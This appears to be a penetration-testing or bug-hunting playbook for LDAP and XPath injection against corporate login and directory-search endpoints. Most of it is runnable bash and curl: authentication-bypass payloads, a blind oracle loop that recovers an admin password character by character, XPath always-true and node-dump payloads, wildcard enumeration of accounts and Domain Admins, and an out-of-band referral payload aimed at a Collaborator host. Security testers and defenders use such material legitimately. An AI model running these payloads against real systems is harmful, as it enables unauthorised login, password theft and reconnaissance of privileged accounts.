HUNT-LDAP — LDAP Injection & XPath Injection

Corporate SSO / intranet login pages (often legacy Java/Spring/PHP)
Windows + IIS + "integrated" directory auth
/api/ldap/*  /api/directory/*  /people  /address-book  /search?dir=
"Find a colleague" / org-chart / employee-search features
XML-backed config or auth → XPath injection candidate
Error strings that confirm an LDAP backend:
  javax.naming.NameNotFoundException
  javax.naming.directory.InvalidSearchFilterException
  LDAP: error code 49 - 80090308  (AD invalid creds / bind failure)
  com.sun.jndi.ldap.*  /  System.DirectoryServices  /  ldap_search():
  "Bad search filter"  /  net.ldap (Go)  /  python-ldap SERVER_DOWN

(&(uid=<USERNAME>)(userPassword=<PASSWORD>))

# ALWAYS capture a control response first — you compare everything to this.
BASE=$(curl -s -o /dev/null -w "%{http_code}|%{size_download}|%{time_total}" \
  -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"validlookinguser","password":"wrongpass"}')
echo "BASELINE (valid-format, wrong pw): $BASE"

# Send a single unbalanced paren. A SAFE (escaping) app → identical baseline.
# An INJECTABLE app → 500 / filter-syntax error / different size.
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"test)","password":"x"}' | grep -iE \
  "naming|InvalidSearchFilter|error code 49|Bad search filter|jndi|ldap_search"

# Target filter assumed: (&(uid=USERNAME)(userPassword=PASSWORD))
# Goal: make the uid sub-filter always-true and neutralise the password clause.

# Wildcard-everything (works when password clause is dropped by a trailing comment-like break):
#   username = *)(uid=*))(|(uid=*    password = anything
# Always-true admin (OR uid=*):
#   username = admin)(|(uid=*)       (note: leaves one extra ')' — see below)
# NUL-truncate the password clause (C-backed servers):
#   username = admin)(uid=*))%00      password = x

USERNAME_PAYLOADS=(
  'admin))(|(uid=*'        # close uid + close &, open OR uid=* — balance check below
  '*)(uid=*))(|(uid=*'     # full always-true, self-balancing classic
  'admin)(!(userPassword=ZZZ))'  # AND NOT a password that is never set → always true
  'admin*'                 # simple wildcard suffix — try first, lowest noise
)

for P in "${USERNAME_PAYLOADS[@]}"; do
  R=$(curl -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login \
    -H "Content-Type: application/json" \
    -d "{\"username\":$(python3 -c 'import json,sys;print(json.dumps(sys.argv[1]))' "$P"),\"password\":\"anything\"}")
  echo "PAYLOAD: $P"
  echo "RESP:    ${R: -40}"
  echo "BASE:    $BASE   <-- compare http_code+size to rule out false positive"
  echo "---"
done

# Oracle pair: a known-TRUE filter and a known-FALSE filter on a public attr.
# TRUE : admin)(uid=*))(|(uid=*     -> entry exists
# FALSE: admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ
probe () {  # $1 = filter-tail payload -> prints normalized size
  curl -s -o /dev/null -w "%{size_download}" -X POST https://$TARGET/api/login \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"$1\",\"password\":\"x\"}"
}
T=$(probe 'admin)(uid=*))(|(uid=*')
F=$(probe 'admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ')
echo "TRUE-class size=$T  FALSE-class size=$F"
[ "$T" = "$F" ] && { echo "No length oracle — try a STATUS or BODY-MARKER oracle, or OOB."; exit; }

# Now extract char-by-char. The boolean test compares against $T/$F, NOT a guess.
# Filter: (&(uid=admin)(userPassword=<PREFIX><CHAR>*))  on a NON-AD directory.
PREFIX=""
for pos in $(seq 1 32); do
  for C in {a..z} {A..Z} {0..9} '$' '/' '.' '+' '=' '{' '}'; do
    S=$(probe "admin)(userPassword=${PREFIX}${C}*))(|(uid=*")
    if [ "$S" = "$T" ]; then PREFIX="${PREFIX}${C}"; echo "[$pos] -> $PREFIX"; break; fi
  done
done
echo "RECOVERED: $PREFIX"

# Normal: //users/user[name/text()='ADMIN' and password/text()='PASS']
# Bypass closes the name predicate and OR-trues the whole expression.
XPATH_PAYLOADS=(
  "' or '1'='1"
  "' or ''='"
  "admin' or '1'='1' or 'a'='b"     # keeps quoting balanced
  "x'] | //user/* | //user[name()='x"  # blind: dump all user nodes (XPath has no comments)
  "*[contains(name(),'pass')]"          # node-name discovery
)
for P in "${XPATH_PAYLOADS[@]}"; do
  E=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$P")
  R=$(curl -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login \
    --data-urlencode "username=$P" --data-urlencode "password=x")
  echo "$P  ->  ${R: -24}"
done
# XPath has NO comment syntax — you must keep quotes/brackets balanced, unlike SQLi.

# Establish that prefix='zzqx' (unlikely) returns ~0 and prefix='a' returns more.
# A directory that returns the SAME count for both is NOT leaking via wildcard.
count () { curl -s -X POST https://$TARGET/api/directory/search \
  -H "Content-Type: application/json" -d "{\"filter\":\"(sAMAccountName=$1*)\"}" \
  | python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get("results",d.get("users",[]))))' 2>/dev/null; }
CTRL=$(count "zzqx_unlikely")
echo "control count (should be ~0): $CTRL"
for L in {a..z}; do echo "$L* -> $(count $L)  (vs control $CTRL)"; done
# Then pivot to memberOf / description for privileged accounts:
#   (&(sAMAccountName=*)(memberOf=*Domain Admins*))
#   (description=*pw*)   (description=*pass*)   — admins stash secrets here

# Validate the inferred filter directly if you ever get LDAP creds / a bind:
ldapsearch -x -H ldap://$AD_HOST -D "CORP\\user" -w "$PW" \
  -b "dc=corp,dc=local" "(&(objectClass=user)(sAMAccountName=admin*))" sAMAccountName memberOf

# Burp: Intruder over the char set for blind exfil; the Web Security Academy
# "Blind LDAP injection" labs mirror the Phase-3 oracle exactly.
# OOB (rare but decisive): some JNDI/LDAP stacks resolve a referral. If you can
# inject a referral/URL the server dereferences, point it at Collaborator:
#   (uid=*))(referral=ldap://<COLLAB>/x)   — a DNS/LDAP hit at Collaborator
# is server-side proof with zero ambiguity. Treat any Collaborator interaction
# as the gold-standard confirmation for otherwise-blind cases.